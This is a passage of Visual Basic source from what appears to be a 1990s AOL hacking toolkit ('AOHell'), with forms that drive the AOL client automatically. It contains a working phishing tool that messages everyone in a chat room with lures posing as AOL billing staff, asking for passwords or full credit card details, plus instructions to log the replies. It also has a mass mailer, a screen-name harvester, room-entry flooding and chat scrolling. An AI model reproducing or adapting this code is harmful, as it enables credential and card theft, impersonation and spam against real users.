        Y = SendMessagebyString(StatBat, WM_GETTEXT, lint, lpstring)    ',lint
        lpstring = Trim$(lpstring)
        lpstring = UCase$(lpstring)
        chnk = Text1.Text
        Text1.Text = UCase$(chnk)

        Gwar = InStr(1, lpstring, "-")
        If Gwar > 0 Then
          Gwar = Gwar - 2
          Gwar2 = Mid$(lpstring, 1, Gwar)
          Gwar2 = Trim$(Gwar2)
          Gwar2 = UCase$(Gwar2)
          gog = Len(Gwar2)
          chank = Text1.Text
          chank1 = InStr(1, chank, Gwar2)
          If chank1 > 0 Then
            gog = gog + 1
            gog1 = chank1 + Len(Gwar2)
            chank1 = chank1 - 1
            chank2 = Mid$(chank, 1, chank1)
            chank3 = Mid$(chank, gog1)
            Text1.Text = chank2 + chank3

            olecap = Ebstat.Panel3D1.Caption
            Ebstat.Panel3D1.Caption = "Unknown or Box is full, removing " + Gwar2 + " from list."
            Ebstat.List1.AddItem Gwar2
            DoEvents
            Call Pause(2)
            SendKeys "{ENTER}"
            DoEvents
            Call Pause(1.5)
            Ebstat.Panel3D1.Caption = "Mass Mailing: " + Text1.Text
          End If
        End If
      End If
      thiswin10% = FindWindow(0, "America Online")
      DoEvents
      thiswin10% = FindWindow(0, "America Online")
      DoEvents
      thiswin10% = FindWindow(0, "America Online")
      DoEvents
      If thiswin10% <> 0 Then
        StatBat = VBEnumChildWindows(thiswin10%, 3)

        Y = SendMessagebyString(StatBat, WM_GETTEXT, lint, lpstring)    ',lint
        lpstring = Trim$(lpstring)
        lpstring = UCase$(lpstring)
        chnk = Text1.Text
        Text1.Text = UCase$(chnk)

        Gwar = InStr(1, lpstring, "-")
        If Gwar > 0 Then
          Gwar = Gwar - 2
          Gwar2 = Mid$(lpstring, 1, Gwar)
          Gwar2 = Trim$(Gwar2)
          Gwar2 = UCase$(Gwar2)
          gog = Len(Gwar2)
          chank = Text1.Text
          chank1 = InStr(1, chank, Gwar2)
          If chank1 > 0 Then
            gog = gog + 1
            gog1 = chank1 + Len(Gwar2)
            chank1 = chank1 - 1
            chank2 = Mid$(chank, 1, chank1)
            chank3 = Mid$(chank, gog1)
            Text1.Text = chank2 + chank3

            olecap = Ebstat.Panel3D1.Caption
            Ebstat.Panel3D1.Caption = "Unknown or Box is full, removing " + Gwar2 + " from list."
            Ebstat.List1.AddItem Gwar2
            DoEvents
            Call Pause(2)
            SendKeys "{ENTER}"
            DoEvents
            Call Pause(1.5)
            Ebstat.Panel3D1.Caption = "Mass Mailing: " + Text1.Text
          End If
        End If
      End If
      If Gwar > 0 Then
        GoTo BackStar
      End If

Puber:
    find13% = FindChildByTitle(thiswin%, "Fwd:")
    While find13% > 0
      VBMsg1.SubClasshWnd = find13%
      VBMsg1.SendMessage = WM_CLOSE
      find13% = FindChildByTitle(thiswin%, "Fwd:")
      DoEvents
    Wend

      SendKeys "{ENTER}"
      DoEvents
      Call Pause(.1)
     ' VBMsg1.SubClasshWnd = ForwardHand
     ' VBMsg1.SendMessage = WM_CLOSE
      DoEvents
      Call Pause(.1)

jimbob:

      If Option3D1.Value = True Then
        MailHand1 = FindChildByTitle(thiswin%, "New Mail")
      End If
      If Option3D2.Value = True Then
        MailHand1 = FindChildByTitle(thiswin%, "Outgoing Mail")
      End If
      If Option3D3.Value = True Then
        MailHand1 = FindChildByTitle(thiswin%, "Old Mail")
      End If

      VBMsg1.SubClasshWnd = MailHand1
      VBMsg1.SendMessage = WM_CHILDACTIVATE

      If Check3D2.Value = True Then
        If Option3D1.Value = True Or Option3D3.Value = True Then
          KeepMail = FindChildByTitle(thiswin%, "Keep As")
          VBMsg1.SubClasshWnd = KeepMail
          VBMsg1.SendMessage = WM_LBUTTONDOWN
          VBMsg1.SendMessage = WM_LBUTTONUP
          DoEvents
          Call Pause(.1)
        'thiswin2% = FindWindow(0, "America Online")
        ' While thiswin2% = 0
        ' If qui1 = 1000 Then GoTo endit
        ' DoEvents
        ' DoEvents
        ' dodo1 = 4 + 4
        ' DoEvents
        ' DoEvents
        ' thiswin2% = FindWindow(0, "America Online")
        ' Wend
          DoEvents

        'OKHand = FindChildByTitle(thiswin1%, "OK")
        'VBMsg1.SubClasshWnd = OKHand
        'VBMsg1.SendMessage = LBUTTONDOWN
        'VBMsg1.SendMessage = LBUTTONUP
        'SendKeys "{ENTER}"
        'DoEvents
        'Call Pause(2)
          SendKeys "{TAB 2}"
          DoEvents
          Call Pause(.1)
        End If
      End If

      DoEvents

      SendKeys "{DOWN}"
      Ebstat.Label3.Caption = X
      TimesLeft = tex3 - X
      Ebstat.Label4.Caption = TimesLeft
      Ebstat.Percent2.Percent = X / tex3 * 100

    Next X

Everything:

    If Check3D3.Value = True Then
      AppActivate "America  Online"
      SendKeys "%FX"
      DoEvents
      Call Pause(1)
      SendKeys " "
      DoEvents
    End If

endit:
    qui1 = 0
    mm2.Show
    Unload Ebstat

  End Sub

  Sub Command3D2_Click ()
    GoTo Beg14

Err14:
    Exit Sub

Beg14:
    On Error GoTo Err14

    DaFile = InputBox$("Please enter the file name you want to save it under (without the extention!).  Use no more than 8 characters!", "File Name")
    If Len(DaFile) > 8 Then
      MsgBox "File name too large!  You must enter a file name with no more than 8 characters!"
      Exit Sub
    End If

    xfilnam$ = DaFile + ".mm"

    Open xfilnam$ For Output As 1
    Print #1, Text1.Text
    Close #1

  End Sub

  Sub Command3D3_Click ()
    Unload Me

  End Sub

  Sub Command3D4_Click ()

    thiswin% = FindWindow(0, "America  Online")
    PeopleList = FindChildByClass(thiswin%, "_AOL_Listbox")

    X = SendMessage(PeopleList, LB_GETCOUNT, 0, 0)
    Cur = 0
    AppActivate "America  Online"
    DoEvents
    Call Pause(1)
    MBox = FindWindow(0, "America Online")
    If MBox <> 0 Then
      DoEvents
      SendKeys "{ENTER}"
      DoEvents
    End If
  ' ForwardHand = VBEnumChildWindows(MDIClient1, 1)
    MDIClient1 = FindChildByClass(thiswin%, "MDIClient")

    For Y = 1 To X

      SetCur = SendMessage(PeopleList, LB_SETCURSEL, Cur, 0)
      Cur = Y
      VBMsg1.SubClasshWnd = PeopleList
      VBMsg1.SendMessage = WM_LBUTTONDBLCLK
      DoEvents
      Call Pause(.01)

      UserNam = VBEnumChildWindows(MDIClient1, 1)
      lint = 10000
      lpstring = Space(10000)

      Z = SendMessagebyString(UserNam, WM_GETTEXT, lint, lpstring)  ',lint
      lpstring = Trim$(lpstring)
      Text1.Text = Text1.Text + ", " + lpstring
      Leng = Len(Text1.Text)
      Text1.SelStart = Leng

    Next Y
    cbt = Text1.Text
    cbt = Mid$(cbt, 3)
    cbt1 = InStr(1, cbt, ScreenName)
    If cbt1 > 0 Then
      fob = Len(ScreenName)
      fob = fob + 2
      gog1 = cbt1 + fob
      chank1 = cbt1
      chank2 = Mid$(cbt, 1, chank1)
      chank3 = Mid$(cbt, gog1)
      Text1.Text = chank2 + chank3
    End If
    Leng = Len(Text1.Text)
    Text1.SelStart = Leng

  End Sub

  Sub Command3D5_Click ()
    GoTo begin1

titfuck1:
    Exit Sub

begin1:
    On Error GoTo titfuck1

    CMDIALOG1.Action = 1
    xfilnam1$ = CMDIALOG1.Filename

    Open xfilnam1$ For Input As 1
    Line Input #1, Temp
    Close #1
    Text1.Text = Temp

  End Sub

  Sub Command3D6_Click ()
    MsgBox "Open your  New Mail  and wait for hour glass to go away.  Then hit the OK button to this message."

    thiswin% = FindWindow(0, "America  Online")
    PeopleList = FindChildByClass(thiswin%, "_AOL_Tree")

    X = SendMessage(PeopleList, LB_GETCOUNT, 0, 0)
    MsgBox "You have" + Str(X) + " warez in your box."

  End Sub

Sub Command3D7_Click ()
      thiswin1% = FindWindow(0, "America  Online")
      newwin = FindChildByTitle(thiswin1%, ">Instant")

      While newwin <> 0
        c = SendMessage(newwin, WM_GETTEXTLENGTH, 0, 0)
        c = c + 1

        lint = c
        lpstring = Space(c)

        X = SendMessagebyString(newwin, WM_GETTEXT, lint, lpstring) ',lint
      '  MsgBox Str(c)

        IMTitle = Trim$(lpstring)
      '     MsgBox IMTitle

        IMSen = InStr(IMTitle, ": ")
        IMSen = IMSen + 1
         DoEvents

        IMSender = Mid$(IMTitle, IMSen)

        IMSender = IMSender
        boma = Len(IMSender)
        boma = boma - 1
        IMSender = Mid$(IMSender, 1, boma)
      VBMsg1.SubClasshWnd = newwin
      VBMsg1.SendMessage = WM_CLOSE
      DoEvents

     newwin = FindChildByTitle(thiswin1%, ">Instant")
     DoEvents
     Text1.Text = Text1.Text + IMSender + ","
     Wend

End Sub

  Sub Form_Load ()
    If AIStatus = 1 Then
      MsgBox "The AI Bot is still active.  You cannot use the Mass Mailer with the AI Bot still running.  Please bring up the AI Bot window and choose ""Unload AI Bot"", then try again.", 16, "AI Bot Still Active"
      Unload Me
      Exit Sub
    End If

    main.Timer1.Enabled = False
    main.Timer2.Enabled = False

    qui1 = 0
    Dim Success As Integer

    Success% = SetWindowPos%(mm2.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)

  End Sub

  Sub Form_Resize ()
  'Dim Success As Integer

  'Success% = SetWindowPos%(mm2.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)

  End Sub

  Sub Form_Unload (Cancel As Integer)
    main.Timer1.Enabled = True
    main.Timer2.Enabled = True

    qui = 0

  End Sub

Sub Option3D5_Click ()
Text3.Enabled = False

End Sub

Sub Option3D6_Click ()
Text3.Enabled = True

End Sub

  Sub Text1_KeyDown (KeyCode As Integer, Shift As Integer)
    If KeyCode = KEY_RETURN Then
      MsgBox "Please seperate screen names with a comma "","", do not hit the Return button.  Just keep typing and the words will wrap around to the next line...Resetting text box"
      Text1.Text = ""
    End If

  End Sub

  Sub Timer2_Timer ()
    thiswin% = FindWindow(0, "America Online")
    If thiswin% > 0 Then

      dork% = FindChildByTitle(thiswin%, "OK")
      shoe = dork%
      If dork% <> 0 Then
        MsgBox shoe
      End If
    End If

  End Sub

  Sub VBMsg2_WindowMessage (hWindow As Integer, Msg As Integer, wParam As Integer, lParam As Long, RetVal As Long, CallDefProc As Integer)
    CursorChanged = 1

  End Sub

Sub Command3D1_Click ()
AppActivate "America  Online"
quit3 = 100

End Sub

Sub Form_Load ()
Dim Success As Integer

Success% = SetWindowPos%(mmstat.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)
Move (Screen.Width - Width) \ 2, (Screen.Height - Height) \ 2

End Sub

  Sub Command3D1_Click ()
    If SignStatus = 0 Then
      MsgBox "You must be signed on to AOL before you can use this feature!", 16, "Not Signed On!"
      Exit Sub
    End If
    GoTo begin

    titfuck:
    MsgBox "An error has occured.  Cannot continue."
    timer1.Enabled = False
    Exit Sub

    begin:
    timer1.Enabled = True

  'Clipboard.SetText text1.Text
  '''On Error GoTo titfuck
    If Text2.Text = "" Then MsgBox "Please enter the number of people in the room."

    phish.Hide
    punt2stat.Show
    If option3d5.Value = True Then punt2stat.Caption = "Phishing for PWs"
    If option3d6.Value = True Then punt2stat.Caption = "Phishing for CCs"
    punt2stat.Panel3D1.Caption = "Phishing.."
    AppActivate "America  Online"

    thiswin% = FindWindow(0, "America  Online")
    find7% = FindChildByTitle(thiswin%, "People")
    VBMsg1.SubClasshWnd = find7%
    find8% = FindChildByTitle(thiswin%, "Message")
    For y = 1 To Text2.Text

      If quit6 = 1000 Then GoTo endall
      find10% = FindChildByTitle(thiswin%, "Send Instant")
      While find10% > 0
        VBMsg2.SubClasshWnd = find10%
        VBMsg2.SendMessage = WM_CLOSE
        find10% = FindChildByTitle(thiswin%, "Send Instant")
      Wend

      VBMsg2.SubClasshWnd = find8%
      VBMsg2.SendMessage = WM_LBUTTONDOWN
      VBMsg2.SendMessage = WM_LBUTTONUP

      If y = 1 Then Call Pause(4.5) Else Call Pause(1.5)
      DoEvents
      lint = 510
      lpstring = Text1.Text
      find11% = FindChildByTitle(thiswin%, "Send Instant")
      find9% = VBEnumChildWindows(find11%, 4)
      find12% = VBEnumChildWindows(find11%, 3)
      x = SendMessagebyString(find12%, WM_SETTEXT, lint, lpstring)  ',lint

    ' SendKeys "^V"
      DoEvents
      Call Pause(.2)
      On Error GoTo nana1

      VBMsg2.SubClasshWnd = find9%
      VBMsg2.SendMessage = WM_LBUTTONDOWN
      VBMsg2.SendMessage = WM_LBUTTONUP

      nana1:
      Resume nana2

      nana2:
      On Error GoTo titfuck

    'SendKeys "{TAB} "
      DoEvents
      Call Pause(2)
      VBMsg1.SendMessage = WM_CHILDACTIVATE
      DoEvents
      Call Pause(.1)

      SendKeys "{TAB 2}"
      SendKeys "{DOWN}"
      DoEvents
      Call Pause(.1)

    Next y

    endall:
    Unload punt2stat
    quit6 = 0
    phish.Show
    timer1.Enabled = False

  End Sub

  Sub Command3D2_Click ()
    Unload Me
    main.Show

  End Sub

  Sub Command3D3_Click ()
    SendKeys "{F1}"
    DoEvents

  End Sub

  Sub Command3D4_Click ()
    MsgBox "Don't forget to turn on session logging, and click on ""Log Instant Messages"" too, so you won't miss anything.  Do this now before you hit the ""Start"" button.  On AOL, under the FILE menu, choose ""Logging"" then under Session Log, click the OPEN button.  Choose a name for the file you want all the info to be sent to, and click OK.  Next, click on ""Log Instant Messages""  After you're done fishing, goto File|Open and double-click on that log file.  You'll find everything in there (don't have to write anything down!).  Then you're ready." + Chr(13) + " " + Chr(13) + "Don't forget, you must open the people list to the room you want to fish.  If you don't do this, it won't work."

  End Sub

  Sub Form_Load ()
    Dim Success As Integer

    Success% = SetWindowPos%(phish.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)
    main.Hide

    If option3d5.Value = True Then Text1.Text = "Good evening, I am with the America Online billing department.  We are sorry to inform you that we are experiencing difficulties with our records and we have lost your account information.  I need you to verify your log-on password to me so that I can validate you as a user, and fix our records promptly.  Thank you for your cooperation and continue to enjoy America Online!"
    If option3d6.Value = True Then Text1.Text = "Hello, this is the America Online Billing Department.  I am sorry to inform you that we are having problems locating your billing information.  We need you to hit the Respond button, and reply with your Full name, Address, Credit card number with Expiration date, and your telephone number.  We apologize for this inconvenience.  Thank you for your cooperation."

  End Sub

  Sub Form_Unload (Cancel As Integer)
    main.Show

  End Sub

  Sub Option3D1_Click (Value As Integer)
    If option3d5.Value = True Then Text1.Text = "Good evening, I am with the America Online billing department.  We are sorry to inform you that we are experiencing difficulties with our records and we have lost your account information.  I need you to verify your log-on password to me so that I can validate you as a user, and fix our records promptly.  Thank you for your cooperation and continue to enjoy America Online!"
    If option3d6.Value = True Then Text1.Text = "Hello, this is the America Online Billing Department.  I am sorry to inform you that we are having problems locating your billing information.  We need you to hit the Respond button, and reply with your Full name, Address, Credit card number with Expiration date, and your telephone number.  We apologize for this inconvenience.  Thank you for your cooperation."

  End Sub

  Sub Option3D2_Click (Value As Integer)
    If option3d5.Value = True Then Text1.Text = "Hello, I am an America Online Administrator.  Due to a problem we're experiencing with the Sprint Network, we need you to verify your log-in password to me so that you can continue this log-in session with America Online.  We apologize for this inconvenience, and thank you for cooperation."
    If option3d6.Value = True Then Text1.Text = "ATTENTION:  This is the America Online billing department.  Due to an error that occured in your Membership Enrollment process we did not receieve your billing information.  We need you to reply back with your Full name, Credit card number with Expiration date, and your telephone number.  We are very sorry for this inconvenience and hope that you continue to enjoy America Online in the future."

  End Sub

  Sub Option3D3_Click (Value As Integer)
    If option3d6.Value = True Then
      Text1.Text = ""
      ret = Chr$(13) + Chr$(10)
      Text1.Text = ret + "ATTENTION: AOL NEWS" + ret + "******************************" + ret + "Hi, I'm with the America Online billing department.  We are having trouble verifying your account information that you have given us.  We would like to correct this problem as soon as possible to avoid unneeded cancellation of your account.  Please state your billing information in the following format: Full name, credit number with expiration date, address, and telephone number.  Thank you for your cooperation."
    End If
    If option3d5.Value = True Then
      Text1.Text = ""
      ret = Chr$(13) + Chr$(10)
      Text1.Text = ret + "ATTENTION: AOL NEWS" + ret + "******************************" + ret + "Hi, I'm with the America Online billing department.  Due to a problem we our experiencing with our records, we have lost vital information concerning your account.  We need you to hit the Respond button and reply back with your current password so we may verify this information and correct the problem as soon as possible to avoid unneeded cancellation of your account.  Thank you for your cooperation."
    End If

  End Sub

  Sub Option3D4_Click (Value As Integer)
    Text1.Text = "Enter what you want to say here."

  End Sub

  Sub Option3D5_Click (Value As Integer)
    If option3d1.Value = True Then Text1.Text = "Good evening, I am with the America Online billing department.  We are sorry to inform you that we are experiencing difficulties with our records and we have lost your account information.  I need you to verify your log-on password to me so that I can validate you as a user, and fix our records promptly.  Thank you for your cooperation and continue to enjoy America Online!"
    If option3d2.Value = True Then Text1.Text = "Hello, I am an America Online Administrator.  Due to a problem we're experiencing with the Sprint Network, we need you to verify your log-in password to me so that you can continue this log-in session with America Online.  We apologize for this inconvenience, and thank you for cooperation."
    If option3d3.Value = True Then
      If option3d6.Value = True Then
        Text1.Text = ""
        ret = Chr$(13) + Chr$(10)
        Text1.Text = ret + "ATTENTION: AOL NEWS" + ret + "******************************" + ret + "Hi, I'm with the America Online billing department.  Due to a problem we our experiencing with our records, we have lost vital information concerning your account.  We need you to hit the Respond button and reply back with your current password so we may verify this information and correct the problem as soon as possible to avoid unneeded cancellation of your account.  Thank you for your cooperation."
      End If

    End If
    If option3d4.Value = True Then Text1.Text = "Enter what you want to say here."

  End Sub

  Sub Option3D6_Click (Value As Integer)
    If option3d1.Value = True Then Text1.Text = "Hello, this is the America Online Billing Department.  I am sorry to inform you that we are having problems locating your billing information.  We need you to hit the Respond button, and reply with your Full name, Address, Credit card number with Expiration date, and your telephone number.  We apologize for this inconvenience.  Thank you for your cooperation."
    If option3d2.Value = True Then Text1.Text = "ATTENTION:  This is the America Online billing department.  Due to an error that occured in your Membership Enrollment process we did not receieve your billing information.  We need you to reply back with your Full name, Credit card number with Expiration date, and your telephone number.  We are very sorry for this inconvenience and hope that you continue to enjoy America Online in the future."
    If option3d3.Value = True Then
      Text1.Text = ""
      ret = Chr$(13) + Chr$(10)
      Text1.Text = ret + "ATTENTION: AOL NEWS" + ret + "******************************" + ret + "Hi, I'm with the America Online billing department.  We are having trouble verifying your account information that you have given us.  We would like to correct this problem as soon as possible to avoid unneeded cancellation of your account.  Please state your billing information in the following format: Full name, credit number with expiration date, address, and telephone number.  Thank you for your cooperation."
    End If
    If option3d4.Value = True Then Text1.Text = "Enter what you want to say here."

  End Sub

  Sub Timer1_Timer ()
    thiswin% = FindWindow(0, "America  Online")
    find13% = FindChildByTitle(thiswin%, ">Instant")
    While find13% > 0
      VBMsg3.SubClasshWnd = find13%
      VBMsg3.SendMessage = WM_CLOSE
      find13% = FindChildByTitle(thiswin%, ">Instant")
    Wend

  End Sub

Sub command3d1_click ()
GoTo dfd1

booyaka:
Unload punt2stat
Exit Sub

dfd1:
On Error GoTo booyaka

quit6 = 1000
quit7 = 1000
AppActivate "America  Online"
Panel3d1.Caption = "Cancel request acknowledged.. Please wait.."

End Sub

Sub Form_Click ()
AppActivate "America  Online"

End Sub

Sub Form_Load ()
Dim Success As Integer

Success% = SetWindowPos%(punt2stat.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)

End Sub

Sub Form_Load ()
Dim Success As Integer

Success% = SetWindowPos%(PWait.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)

End Sub

Sub Command3D1_Click ()
GoTo begin5

titfuck5:
MsgBox "Nothing to add!"
Exit Sub

begin5:
If Text1.Text = "" Then GoTo titfuck5
List1.AddItem Text1.Text
Text1.Text = ""

End Sub

Sub Command3D2_Click ()
GoTo begin4

titfuck4:
Exit Sub

begin4:
On Error GoTo titfuck4

List1.RemoveItem List1.ListIndex
Text1.Text = ""

End Sub

Sub Command3D3_Click ()
If SignStatus = 0 Then
MsgBox "You must be signed on to AOL before you can use this feature!", 16, "Not Signed On!"
Exit Sub
End If
If Text1.Text = "" Then
MsgBox "Please enter the FTP site address."
Exit Sub
End If

GoTo begin

titfuck:
MsgBox "An error has occured.  Cannot continue."
Exit Sub

begin:
On Error GoTo titfuck
     thiswin% = FindWindow(0, "America  Online")
AppActivate "America  Online"
DoEvents
Call Pause(.7)

'SendKeys "^K"

Test1 = FindChildByTitle(thiswin%, "Site Address")
Test2 = FindChildByTitle(thiswin%, "Anonymous FTP")
Test3 = FindChildByTitle(thiswin%, "File Transfer ")

If Test1 <> 0 Then GoTo OtherSiteWin
If Test2 <> 0 Then GoTo OtherSite
If Test3 <> 0 Then GoTo FileTran

Keyword:

SendKeys Chr$(11)
DoEvents
Call Pause(2)
SendKeys "ftp{ENTER}"
DoEvents
Call Pause(4)

FileTran:

thiswin% = FindWindow(0, "America  Online")
FTPHand = FindChildByTitle(thiswin%, "File Transfer ")
FTPButton = VBEnumChildWindows(FTPHand, 9)

If FTPButton <> 0 Then
VBMsg1.SubClasshWnd = FTPButton
VBMsg1.SendMessage = WM_LBUTTONDOWN
DoEvents
VBMsg1.SendMessage = WM_LBUTTONUP
DoEvents
Call Pause(5.2)
Else GoTo titfuck
End If

OtherSite:
OtherSiteHand = FindChildByTitle(thiswin%, "Other Site")
If OtherSiteHand <> 0 Then
VBMsg1.SubClasshWnd = OtherSiteHand
VBMsg1.SendMessage = WM_LBUTTONDOWN
DoEvents
VBMsg1.SendMessage = WM_LBUTTONUP
DoEvents
Call Pause(5.2)
Else GoTo titfuck
End If

OtherSiteWin:

ConnectButton = FindChildByTitle(thiswin%, "Connect")
LoginInfo = FindChildByTitle(thiswin%, "Ask for login name and password")

If ConnectButton <> 0 Then
SiteEdit = FindChildByClass(thiswin%, "_AOL_Edit")
lint = 1000
lpstring = Text1.Text
x = SendMessageByString(SiteEdit, WM_SETTEXT, lint, lpstring)
DoEvents
Call Pause(1.3)
If Check3D1.Value = True Then
VBMsg1.SubClasshWnd = LoginInfo
VBMsg1.SendMessage = WM_LBUTTONDOWN
DoEvents
VBMsg1.SendMessage = WM_LBUTTONUP
DoEvents
Call Pause(.3)
End If
VBMsg1.SubClasshWnd = ConnectButton
VBMsg1.SendMessage = WM_LBUTTONDOWN
DoEvents
VBMsg1.SendMessage = WM_LBUTTONUP

Else GoTo titfuck
End If

End Sub

Sub Command3D4_Click ()
GoTo begin1

titfuck1:
Close #2
Exit Sub

begin1:
On Error GoTo titfuck1

Open "c:\aohell.ftp" For Output As #2

numftps = List1.ListCount

Write #2, numftps
'jacko1 = List1.List(List1.ListIndex + 1)

'(list1.ListIndex)
'jackass2 = Right(jacko1, 35)

num = 0
 List1.ListIndex = 0

For x = 1 To numftps

'List1.ListIndex = List1.ListIndex + 1

jacko1 = List1.List(List1.ListIndex)
Write #2, jacko1
List1.ListIndex = List1.ListIndex + 1

Next x

Close #2

End Sub

Sub Form_Load ()
Dim Success As Integer

Success% = SetWindowPos%(QuickFTP.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)

GoTo begin3:

titfuck3:
Exit Sub

begin3:
 On Error GoTo titfuck3

   For xy = 1 To 60
   ftp(xy) = ""
   Next xy

Open "c:\aohell.ftp" For Input As #1

Input #1, numberftps
    For y = 1 To numberftps
    Input #1, ftp(y)
    List1.AddItem ftp(y)
    Next y
Close #1

End Sub

Sub List1_Click ()
jacko = List1.List(List1.ListIndex)
jackass = Left(jacko, 35)

Text1.Text = jackass

End Sub

Sub List1_DblClick ()
jacko2 = List1.List(List1.ListIndex)
jackass2 = Left(jacko2, 35)

Text1.Text = jackass2

DoEvents
Call Command3D3_Click

End Sub

Sub Command3D1_Click ()
If SignStatus = 0 Then
MsgBox "You must be signed on to AOL before you can use this feature!", 16, "Not Signed On!"
Exit Sub
End If
GoTo bustbeg

BustErr:
'MsgBox "An Error has occured.  Cannot continue.", 16, "Error!"
Exit Sub

bustbeg:
  On Error GoTo BustErr

label1.Visible = False
frame3d2.Visible = False
If Not option3d1.Value = True And Not option3d2.Value = True And Not option3d3.Value = True Then
MsgBox "You must choose whether the room is a Regular room or Private room."
Exit Sub
End If

If option3d1.Value = True And Text1.Text = "" Then
MsgBox "You must enter the name of the private room you wish to enter."
GoTo endall
End If

If option3d2.Value = True Then GoTo member
If option3d1.Value = True Then GoTo privat
If option3d3.Value = True Then GoTo public1

member:

AppActivate "America  Online"
DoEvents
Call Pause(.3)

Do
DoEvents
SendKeys "{ENTER}"
 thiswin1% = FindWindow(0, "America Online")
 Crater = 1
 While thiswin1% = 0
 Crater = Crater + 1
 DoEvents
 thiswin1% = FindWindow(0, "America Online")
 If Crater = 2000 Then Exit Sub
 DoEvents
 Wend

Call Pause(.3)

Loop

GoTo endall

privat:
roombust.Height = 1740
thiswin% = FindWindow(0, "America  Online")
PrivateButton = FindChildByTitle(thiswin%, "Private Room")
DoEvents
Call Pause(.2)
If PrivateButton = 0 Then
MsgBox "You must have the room list window open before starting.", 16, "Room List not Open"
Exit Sub
End If
VBMsg1.SubClasshWnd = PrivateButton

AppActivate "America  Online"
DoEvents
Call Pause(.5)

For z = 1 To 100
   DoEvents
   VBMsg1.SendMessage = WM_LBUTTONDOWN
   VBMsg1.SendMessage = WM_LBUTTONUP
   DoEvents
   PrivateRoom = FindChildByTitle(thiswin%, "Enter a Private Room")
   Crater = 1
   While PrivateRoom = 0
   Crater = Crater + 1
   If Crater > 2000 Then
   Crater = 0
   Exit Sub
   End If
   DoEvents
   PrivateRoom = FindChildByTitle(thiswin%, "Enter a Private Room")
   DoEvents
   Wend
   Call Pause(.2)
   EditHand9 = FindChildByClass(PrivateRoom, "_AOL_Edit")
   lint = 100
   lpstring = Text1.Text
   a2 = SendMessageByString(EditHand9, WM_SETTEXT, lint, lpstring) ',lint
   DoEvents
   Call Pause(.3)
   SendKeys "{ENTER}"
   DoEvents
   thiswin1% = FindWindow(0, "America Online")
   Crater = 1
   While thiswin1% = 0
   If Crater > 500 Then
   Crater = 0
   Exit Sub
   End If
   DoEvents
   thiswin1% = FindWindow(0, "America Online")
   DoEvents
   Wend
   Call Pause(.3)
   SendKeys "{ENTER}"

Next z

GoTo endall

public1:
AppActivate "America  Online"
DoEvents
Call Pause(.3)

  thiswin% = FindWindow(0, "America  Online")
  PublicRoom = FindChildByTitle(thiswin%, "Active Public Rooms")
  DoEvents
  If PublicRoom = 0 Then
  MsgBox "You must have the Public Room list window open before you try to break into a Public room.", 16, "Public Room list not found"
  Exit Sub
  End If

For G = 1 To 100

  SendKeys "{ENTER}"
  DoEvents
  ReEnter = FindChildByTitle(thiswin%, "Untitled")
  Crater = 1
  While ReEnter = 0
  If Crater = 10000 Then
  Crater = 0
  Exit Sub
  End If
  DoEvents
  ReEnter = FindChildByTitle(thiswin%, "Untitled")
  DoEvents
  Wend
  Call Pause(.2)
  NoButton = FindChildByTitle(ReEnter, "No")
  VBMsg1.SubClasshWnd = NoButton
  VBMsg1.SendMessage = WM_LBUTTONDOWN
  VBMsg1.SendMessage = WM_LBUTTONUP
  DoEvents
  Call Pause(.7)
  DoEvents
Next G

endall:
AppActivate "America  Online"
roombust.Height = 1740

End Sub

Sub Command3D2_Click ()
Unload Me

End Sub

Sub Form_Load ()
Dim Success As Integer

Success% = SetWindowPos%(roombust.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)

End Sub

Sub Form_Resize ()
Dim Success As Integer

Success% = SetWindowPos%(roombust.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)

End Sub

Sub Option3D1_Click (Value As Integer)
frame3d2.Visible = True
roombust.Height = 3165
label1.Visible = False

End Sub

Sub Option3D2_Click (Value As Integer)
label1.Visible = True
roombust.Height = 2415
frame3d2.Visible = False

End Sub

Sub Option3D3_Click (Value As Integer)
label1.Visible = True
roombust.Height = 2415
frame3d2.Visible = False

End Sub

Sub Command3D1_Click ()
If SignStatus = 0 Then
MsgBox "You must be signed on to AOL before you can use this feature!", 16, "Not Signed On!"
Exit Sub
End If
If Text1.Text = "" Then
MsgBox "You must enter what you want to scroll."
Exit Sub
End If
 GoTo scrollbeg

scrollerr:
MsgBox "An error has occured.  Cannot continue.", 16, "Error!"
Exit Sub
next4:
Resume tryagain

scrollbeg:
On Error GoTo next4

ok1:
AppActivate "America  Online"

If Text4.Text = "" Then GoTo endall

tryagain:
On Error GoTo scrollerr
     Zapp = 0

For X = 1 To Text4

DoEvents
Call Pause(1.7)
DoEvents

start1:

SendKeys Text1.Text

 SendKeys "{ENTER}"

DoEvents

text22:

If Text2.Text = "" Then
GoTo text33
Else

SendKeys Text2.Text
DoEvents

SendKeys "{ENTER}"
End If

text33:
If Text3.Text = "" Then
GoTo zaza1
Else

SendKeys Text3.Text

SendKeys "{ENTER}"
End If

zaza1:

Next X

endall:

End Sub

Sub Command3D2_Click ()
Unload Me

End Sub

Sub Form_Load ()
Dim Success As Integer

Success% = SetWindowPos%(form3.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)

End Sub

Sub Form_Resize ()
Dim Success As Integer

Success% = SetWindowPos%(form3.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)

End Sub

Sub Check3D1_Click (Value As Integer)
If Check3d1.Value = True Then
timer1.Enabled = False
Check3d1.Caption = "Click to UnPause"
End If
If Check3d1.Value = False Then
timer1.Enabled = True
Check3d1.Caption = "Click to Pause"
End If

End Sub

Sub Command3D1_Click ()
NotQuitit = 1002
aolbot.Show

timer1.Enabled = False

Unload Me

aolbot.Show

End Sub

Sub Command3D2_Click ()
NotQuitit = 1002
aolbot.Hide
rod = 0

timer1.Enabled = False

Unload Me

Unload aolbot

'aohell.Show

End Sub

Sub Form_Load ()
Dim Success As Integer

junk = Roomenter
Label6.Caption = Roomenter
Shitt = FUCKTHAT

Move (Screen.Width - Width) \ 2, (Screen.Height - Height) \ 2

Success% = SetWindowPos%(status.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)

'crapola = 1
'junky = Fuckthat

'Label1.Caption = Fuckthat

'fuckyou = Timer

